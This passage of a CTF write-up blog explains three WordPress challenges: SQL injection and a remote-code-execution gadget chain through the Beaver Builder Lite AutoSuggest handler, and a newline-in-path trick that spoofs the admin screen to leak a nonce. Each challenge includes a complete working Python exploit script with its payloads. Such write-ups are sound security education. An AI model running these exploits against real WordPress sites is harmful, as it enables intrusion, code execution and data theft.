    // Vulnerability: $table is directly interpolated into the SQL query
    $table_name     = $wpdb->prefix.$table;
    $cau_configs    = $wpdb->get_results( $wpdb->prepare( "SELECT onoroff FROM {$table_name} WHERE name = '%s'", $name ) );
    foreach ( $cau_configs as $config ) return $config->onoroff;
}

This function takes a $table argument and uses it to construct a table name wp_{$table} without sanitization. This allows for SQL injection if we can control the $table parameter. Since FLBuilderAutoSuggest::get_value allows us to call this function and pass arguments, we have a complete exploit chain.

Solver

The exploit script solve.py automates the attack:

  1. Registration: It registers a new user via admin-ajax.php (or logs in if credentials are known) to gain access to the Beaver Builder editor interface (specifically to get a valid nonce).
  2. Nonce Extraction: It creates a draft post and extracts the FLBuilderConfig nonce required to interact with Beaver Builder's AJAX endpoints.
  3. Exploit Execution: It sends a POST request to the builder's AJAX handler with:
    • fl_action: get_autosuggest_values (to trigger FLBuilderAutoSuggest::get_values, which calls get_value).
    • fl_builder_data[fields][0][action]: cau_get_db (which becomes cau_get_db_value).
    • fl_builder_data[fields][0][data]: The SQL injection payload. get_value passes $data as the second argument to the called function, which maps to $table in cau_get_db_value.

Exploit Payload

The SQL injection payload used in solve.py targets the $table parameter:

payload_data = "auto_updates WHERE 1=0 UNION SELECT option_value FROM wp_options WHERE option_name='flaggg' #"

When processed:

  1. cau_get_db_value receives $table = payload_data.
  2. It constructs $table_name = "wp_" . "auto_updates WHERE 1=0 ... ".
  3. The final query becomes:
    SELECT onoroff FROM wp_auto_updates WHERE 1=0 UNION SELECT option_value FROM wp_options WHERE option_name='flaggg' # WHERE name = '%s'
    

This effectively bypasses the intended query and retrieves the flaggg option from the wp_options table.

Solve script:

#!/usr/bin/env python3
import requests
import re
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Removed trailing slash to ensure clean URLs
BASE_URL = "http://18.130.76.27:9120" 
USERNAME = "exploiterasjdnaw"
PASSWORD = "exploiterasjdnaw"

s = requests.Session()
s.verify = False

def register_user_ajax():
    """
    Registers a user using the vulnerable 'register_user' AJAX action 
    found in the test-plugin.
    """
    print(f"[*] Registering user {USERNAME} via AJAX...")
    url = f"{BASE_URL}/wp-admin/admin-ajax.php"
    
    # Payload matches the sanitization in the PHP code
    data = {
        "action": "register_user",
        "username": USERNAME,
        "password": PASSWORD,
        "email": f"{USERNAME}@example.com"
    }
    
    try:
        # Use a generic request, not the session, to ensure we are 'nopriv'
        r = requests.post(url, data=data, verify=False)
        
        if "user created" in r.text:
            print("[+] User registered successfully.")
            return True
        else:
            # If user already exists, it might not echo "user created", 
            # but we can try logging in anyway.
            print(f"[*] Registration response: {r.text.strip()}")
            return False
    except Exception as e:
        print(f"[-] Registration request failed: {e}")
        return False

def login_user():
    print(f"[*] Logging in as {USERNAME}...")
    url = f"{BASE_URL}/wp-login.php"
    data = {
        "log": USERNAME,
        "pwd": PASSWORD,
        "wp-submit": "Log In",
        "redirect_to": f"{BASE_URL}/wp-admin/",
        "testcookie": "1"
    }
    r = s.post(url, data=data)
    if any(c.name.startswith('wordpress_logged_in') for c in s.cookies):
        print("[+] Logged in successfully.")
        return True
    print("[-] Login failed.")
    return False

def get_nonce_and_id():
    print("[*] Getting API Nonce and creating page...")
    r = s.get(f"{BASE_URL}/wp-admin/post-new.php")
    
    # Extract API Nonce
    m_nonce = re.search(r'wpApiSettings\s*=\s*\{.*?"nonce":"([a-f0-9]+)"', r.text)
    if not m_nonce:
        print("[-] Could not find REST API nonce.")
        return None, None
    api_nonce = m_nonce.group(1)
    
    # Create post (contributors can usually create posts but not pages)
    headers = {
        "X-WP-Nonce": api_nonce,
        "Content-Type": "application/json"
    }
    data = {
        "title": "Exploit Posts",
        "status": "draft",
        "content": "test"
    }
    r = s.post(f"{BASE_URL}/wp-json/wp/v2/posts", headers=headers, json=data)
    if r.status_code not in [200, 201]:
        print(f"[-] REST API creation failed. Code: {r.status_code}")
        return None, None
        
    post_id = r.json().get('id')
    print(f"[*] Created Draft Post ID: {post_id}")
    
    # Get Beaver Builder nonce
    editor_url = f"{BASE_URL}/wp-admin/post.php?post={post_id}&action=edit"
    r = s.get(editor_url)
    
    m_nonce = re.search(r'FLBuilderConfig\s*=\s*\{.*?"nonce":"([a-f0-9]+)"', r.text, re.DOTALL)
    if not m_nonce:
        m_nonce = re.search(r'"nonce":"([a-f0-9]+)"', r.text)
    
    if m_nonce:
        nonce = m_nonce.group(1)
        print(f"[+] Found Builder Nonce: {nonce}")
        return post_id, nonce
    else:
        print(f"[-] Could not find Builder Nonce in Editor.")
        return post_id, None

def exploit_autosuggest_sqli(post_id, nonce):
    base_ajax_url = f"{BASE_URL}/?p={post_id}&fl_builder"
    
    print("[*] Attempting SQL Injection via AutoSuggest...")
    
    # Payload for 'data' parameter to trigger SQLi in cau_get_db_value
    # Original query: SELECT onoroff FROM wp_{table} WHERE name = '%s'
    # We use 'auto_updates' because it has 'onoroff' column
    
    payload_data = "auto_updates WHERE 1=0 UNION SELECT option_value FROM wp_options WHERE option_name='flaggg' #"
    
    data = {
        "fl_builder_data[post_id]": post_id,
        "fl_builder_data[fields][0][name]": "flag_fetch",
        "fl_builder_data[fields][0][action]": "cau_get_db",
        "fl_builder_data[fields][0][value]": "anything",
        "fl_builder_data[fields][0][data]": payload_data,
        "fl_action": "get_autosuggest_values",
        "_wpnonce": nonce
    }
    
    r = s.post(base_ajax_url, data=data)
    print(f"[*] Response Code: {r.status_code}")
    # print(f"[*] Response: {r.text}") # Uncomment if you need to debug raw response
    
    try:
        res_json = r.json()
        if "flag_fetch" in res_json:
            flag = res_json["flag_fetch"]
            print(f"[!] RESULT: {flag}")
        else:
            print("[-] Flag not found in JSON response.")
    except:
        print("[-] Could not parse JSON response.")

# --- Main Execution Flow ---

# 1. Attempt Registration
register_user_ajax()

# 2. Login
if login_user():
    # 3. Get Nonces
    pid, nonce = get_nonce_and_id()
    
    # 4. Exploit
    if pid and nonce:
        exploit_autosuggest_sqli(pid, nonce)

Flag

Image

Izanami

Solves4
Description

Can you break an infinite loop ?

NOTE: This is a fully white box challenge, almost no heavy brute force is needed.

http://18.130.76.27:9131/

Attachments
References

Recon

The challenge involves a WordPress instance with the Beaver Builder Lite plugin and a Widget Logic plugin.

The core vulnerability lies in the FLBuilderAutoSuggest::get_value method within class-fl-builder-auto-suggest.php of the Beaver Builder Lite plugin. This method is intended to retrieve values for auto-suggest fields but fails to properly validate the $action parameter before using it in a dynamic function call.

Vulnerable Code: Beaver Builder Lite

In classes/class-fl-builder-auto-suggest.php:

static public function get_value( $action = '', $value = '', $data = '' ) {
    switch ( $action ) {
        // ... (whitelisted cases)
        default:
            // Vulnerability: Allows calling any function ending in '_value'
            if ( function_exists( $action . '_value' ) ) {
                $data = call_user_func_array( $action . '_value', array( $value, $data ) );
            }
            break;
    }
    return isset( $data ) ? str_replace( "'", '&#39;', json_encode( $data ) ) : '';
}

This vulnerability allows an attacker to call any defined PHP function that ends with _value, passing $value and $data as arguments.

The second part of the chain is using a "gadget" function from the Widget Logic plugin. We identified widget_logic_process_array_value which allows processing function calls if they are in an allowed list.

Vulnerable Code: Widget Logic

In widget/logic/array/value/main_value.php:

function widget_logic_process_array_value($value, $allowed_functions)
{
    // ...
    if (widget_logic_is_function_call($value, $out_matches)) {
        return widget_logic_handle_function_call($out_matches, $allowed_functions);
    }
    // ...
}

And in widget/logic/function/main_function.php:

function widget_logic_handle_function_call($matches, $allowed_functions)
{
    $function_name = $matches[1];
    // ...
    // Vulnerability: $allowed_functions is user-controlled via the $data parameter in get_value
    if ('array' !== $function_name && !in_array($function_name, $allowed_functions, true)) {
        throw new Exception(...);
    }

    // ...

    // Vulnerability: Executes the function if it is in the allowed list
    $result = ('array' === $function_name)
        ? widget_logic_parse_array_string("array($args_str)", $allowed_functions)
        : call_user_func_array($function_name, $args)
    ;
    // ...
}

Since FLBuilderAutoSuggest::get_value allows us to call widget_logic_process_array_value (as it ends in _value if we pass widget_logic_process_array) and passes $data as the second argument ($allowed_functions), we can supply our own list of allowed functions (e.g., ['system']) and execute arbitrary code.

Solver

Exploit Payload

The RCE payload used in solve.py targets the widget_logic_process_array_value gadget:

  1. Action: widget_logic_process_array (which calls widget_logic_process_array_value).
  2. Value: system('{command}') (the code to execute).
  3. Data: ['system'] (pass system as an allowed function).

When processed:

  1. FLBuilderAutoSuggest::get_value calls widget_logic_process_array_value("system('...')", ['system']).
  2. widget_logic_process_array_value detects it as a function call.
  3. widget_logic_handle_function_call checks if system is in ['system'] (it is).
  4. It executes system('{command}'), returning the output.

Solve script:

#!/usr/bin/env python3
import requests
import re
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Removed trailing slash to ensure clean URLs
BASE_URL = "http://18.130.76.27:9131" 
USERNAME = "exploiter_final"
PASSWORD = "exploiter_password"

s = requests.Session()
s.verify = False

def register_user_ajax():
    print(f"[*] Registering user {USERNAME} via AJAX...")
    url = f"{BASE_URL}/wp-admin/admin-ajax.php"
    data = {
        "action": "register_user",
        "username": USERNAME,
        "password": PASSWORD,
        "email": f"{USERNAME}@example.com"
    }
    try:
        r = requests.post(url, data=data, verify=False)
        if "user created" in r.text.lower():
            print("[+] User registered successfully.")
            return True
        else:
            print(f"[*] Registration response: {r.text.strip()}")
            return False
    except Exception as e:
        print(f"[-] Registration request failed: {e}")
        return False

def login_user():
    print(f"[*] Logging in as {USERNAME}...")
    url = f"{BASE_URL}/wp-login.php"
    data = {
        "log": USERNAME,
        "pwd": PASSWORD,
        "wp-submit": "Log In",
        "redirect_to": f"{BASE_URL}/wp-admin/",
        "testcookie": "1"
    }
    r = s.post(url, data=data)
    if any(c.name.startswith('wordpress_logged_in') for c in s.cookies):
        print("[+] Logged in successfully.")
        return True
    print("[-] Login failed.")
    return False

def get_nonce_and_id():
    print("[*] Getting API Nonce and creating post...")
    r = s.get(f"{BASE_URL}/wp-admin/post-new.php")
    
    m_nonce = re.search(r'wpApiSettings\s*=\s*\{.*?"nonce":"([a-f0-9]+)"', r.text)
    if not m_nonce:
        print("[-] Could not find REST API nonce.")
        return None, None
    api_nonce = m_nonce.group(1)
    
    headers = {
        "X-WP-Nonce": api_nonce,
        "Content-Type": "application/json"
    }
    data = {
        "title": "Exploit Post Final",
        "status": "draft",
        "content": "test"
    }
    r = s.post(f"{BASE_URL}/wp-json/wp/v2/posts", headers=headers, json=data)
    if r.status_code not in [200, 201]:
        print(f"[-] REST API creation failed. Code: {r.status_code}")
        return None, None
        
    post_id = r.json().get('id')
    print(f"[*] Created Draft Post ID: {post_id}")
    
    editor_url = f"{BASE_URL}/wp-admin/post.php?post={post_id}&action=edit"
    r = s.get(editor_url)
    
    m_nonce = re.search(r'FLBuilderConfig\s*=\s*\{.*?"nonce":"([a-f0-9]+)"', r.text, re.DOTALL)
    if not m_nonce:
        m_nonce = re.search(r'"nonce":"([a-f0-9]+)"', r.text)
    
    if m_nonce:
        nonce = m_nonce.group(1)
        print(f"[+] Found Builder Nonce: {nonce}")
        return post_id, nonce
    else:
        print(f"[-] Could not find Builder Nonce in Editor.")
        return post_id, None

def exploit_rce(post_id, nonce, command="cat /flag-*.txt"):
    base_ajax_url = f"{BASE_URL}/?p={post_id}&fl_builder"
    
    print(f"[*] Attempting RCE: {command}")
    
    # We use widget_logic_process_array_value as a gadget
    # It takes (value, allowed_functions)
    # value is where we put our function call
    # allowed_functions is where we put the function name we want to allow
    
    payload_value = f"system('{command}')"
    
    data = {
        "fl_builder_data[post_id]": post_id,
        "fl_builder_data[fields][0][name]": "rce_output",
        "fl_builder_data[fields][0][action]": "widget_logic_process_array",
        "fl_builder_data[fields][0][value]": payload_value,
        "fl_builder_data[fields][0][data][0]": "system",
        "fl_action": "get_autosuggest_values",
        "_wpnonce": nonce
    }
    
    r = s.post(base_ajax_url, data=data)
    print(f"[*] Response Code: {r.status_code}")
    
    try:
        res_json = r.json()
        if "rce_output" in res_json:
            output = res_json["rce_output"]
            print(f"[!] RESULT: {output}")
        else:
            print("[-] RCE output not found in JSON response.")
    except:
        # If JSON parsing fails, it's likely because system() output is before the JSON
        match = re.search(r'(CTF\{.*?\})', r.text)
        if match:
            print(f"[!] RESULT: {match.group(1)}")
        else:
            print("[-] Could not parse JSON or find flag in response.")
            # print(f"[*] Raw Response: {r.text}")

# --- Main Execution Flow ---

if __name__ == "__main__":
    # 1. Attempt Registration
    register_user_ajax()

    # 2. Login
    if login_user():
        # 3. Get Nonces
        pid, nonce = get_nonce_and_id()
        
        # 4. Exploit
        if pid and nonce:
            exploit_rce(pid, nonce)

Flag

Image

Stututu

Solves4
Description

Stutututu bam bam

NOTE: This is a fully white box challenge, almost no heavy brute force is needed.

http://18.130.76.27:9191/

Attachments
References

Recon

We are given a WordPress instance with a custom plugin called "Test Plugin". Examining the plugin code in wp-content/plugins/test-plugin/test-plugin.php, we find a few interesting functions:

function valid_page() {
    global $current_screen;

    return $current_screen->id === 'toplevel_page_admin-stututu';
}

function load_assets(){
    // die("load_assets");
    if(valid_page()){
        echo "<h1> Admin, here is your nonce to get the flag: ". wp_create_nonce("get_the_flag_admin"). "</h1>";
    }
    else{
        echo "<h1> User, here is your nonce to get the flag: ". wp_create_nonce("get_the_flag"). "</h1>";
    }

}
add_action("admin_enqueue_scripts", "load_assets");
add_action("wp_ajax_get_flag", "get_flag");

The load_assets function, hooked to admin_enqueue_scripts, checks valid_page(). If true, it prints an "Admin" nonce. This nonce is required to get the real flag via the get_flag AJAX action:

function get_flag(){
    if (wp_verify_nonce( $_GET['nonce'], 'get_the_flag_admin' ) ) {
        echo "<h1> FLAG: ". get_option("flaggg"). "</h1>";
        return;
    }
    // ...
}

The valid_page function checks if the global $current_screen->id matches toplevel_page_admin-stututu.

Solver

The vulnerability lies in how WordPress determines the $current_screen->id. This is typically derived from the URL or the hook name. To trigger valid_page(), we need to trick WordPress into believing we are on the toplevel_page_admin-stututu screen while we ensure that admin_enqueue_scripts fires.

The admin_enqueue_scripts hook generally fires on admin pages. We can access /wp-admin/ as a subscriber.

The exploit uses a URL manipulation technique to confuse the screen parsing logic. By appending the target screen ID to the URL in a specific way, we can override what WordPress thinks the current screen is.

The Regex Bypass in vars.php

The core of this exploit relies on a behavior in wp-includes/vars.php where WordPress parses $_SERVER['PHP_SELF'] to determine the current admin page ($pagenow).

// wordpress/wp-includes/vars.php

// ...
	} else {
		preg_match( '#/wp-admin/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
	}

	$pagenow = ! empty( $self_matches[1] ) ? $self_matches[1] : '';
// ...

The regex #/wp-admin/?(.*?)$#i is intended to extract the path after /wp-admin/. Crucially:

  1. The . (dot) character in regex does not match newline characters by default.
  2. The regex expects the match to continue until the end of the string ($).
  3. The regex is not anchored to the start of the string.

When we request a URL like: .../wp-admin/index.php/asdasd%0A/wp-admin/toplevel_page_admin-stututu

$_SERVER['PHP_SELF'] contains a newline character (%0A decodes to \\n).

  1. The regex engine attempts to match starting from the real /wp-admin/.
  2. It encounters the newline in ...asdasd\\n..., which .* cannot match. Since it cannot reach the end of the string ($), this first match attempt fails.
  3. The regex engine continues searching the string and finds the second /wp-admin/ (the one we injected).
  4. It successfully matches toplevel_page_admin-stututu from there to the end of the string.

This tricks WordPress into setting $pagenow (and subsequently $current_screen->id) to toplevel_page_admin-stututu, satisfying the condition in the vulnerable plugin.

Solver:

import requests
import re

# CONFIGURATION
BASE_URL = "http://18.130.76.27:9191"
REGISTER_URL = f"{BASE_URL}/wp-admin/admin-ajax.php"
LOGIN_URL = f"{BASE_URL}/wp-login.php"
AJAX_URL = f"{BASE_URL}/wp-admin/admin-ajax.php"

# The exploited URL that confuses WP_Screen into setting the wrong ID
EXPLOIT_URL = f"{BASE_URL}/wp-admin/index.php/asdasd%0A/wp-admin/toplevel_page_admin-stututu"

# Credentials to create
USERNAME = "hacker123sss"
PASSWORD = "hacker123sss"
EMAIL = "hacker123sss@example.com"

def run_exploit():
    session = requests.Session()
    
    # STEP 1: Register a Subscriber Account
    # We need this because 'admin_enqueue_scripts' only fires inside /wp-admin/, 
    # which requires at least a subscriber login.
    print("[*] Registering user...")
    reg_data = {
        'action': 'register_user',
        'username': USERNAME,
        'password': PASSWORD,
        'email': EMAIL
    }
    r = session.post(REGISTER_URL, data=reg_data)
    if "user created" not in r.text:
        print(f"[-] Registration failed or user exists: {r.text}")
        # Proceeding anyway in case user already exists
    else:
        print("[+] User registered successfully.")

    # STEP 2: Login
    print("[*] Logging in...")
    login_data = {
        'log': USERNAME,
        'pwd': PASSWORD,
        'wp-submit': 'Log In',
        'redirect_to': f'{BASE_URL}/wp-admin/',
        'testcookie': '1'
    }
    r = session.post(LOGIN_URL, data=login_data)
    
    # Check if we got the wordpress cookies
    if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
        print("[+] Logged in successfully.")
    else:
        print("[-] Login failed.")
        return

    # STEP 3: Request the Manipulated URL to Leak Nonce
    # The path info '/toplevel_page_admin-stututu' tricks WP_Screen
    print(f"[*] Accessing exploit URL: {EXPLOIT_URL}")
    r = session.get(EXPLOIT_URL)
    
    # Search for the "Admin" nonce message in the response HTML
    # We expect: "Admin, here is your nonce to get the flag: [nonce]"
    match = re.search(r"Admin, here is your nonce to get the flag:\s*([a-f0-9]+)", r.text)
    
    if match:
        admin_nonce = match.group(1)
        print(f"[+] SUCCESS! Leaked Admin Nonce: {admin_nonce}")
    else:
        print("[-] Failed to find admin nonce in response.")
        # Debug: check if we got the User nonce instead (means exploit failed)
        if "User, here is your nonce" in r.text:
            print("[-] Exploit failed: Server saw us as a normal User (ID manipulation didn't work).")
        return

    # STEP 4: Retrieve the Flag
    print("[*] Using nonce to fetch the flag...")
    flag_params = {
        'action': 'get_flag',
        'nonce': admin_nonce
    }
    r = session.get(AJAX_URL, params=flag_params)
    
    if "FLAG:" in r.text:
        print("\n" + "="*40)
        print(r.text.strip())
        print("="*40)
    else:
        print(f"[-] Failed to get flag. Response: {r.text}")

if __name__ == "__main__":
    run_exploit()

Flag

Image

Categories & Topics

This article is categorized under the following topics. Click on any category to explore more related content.

Share this post

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.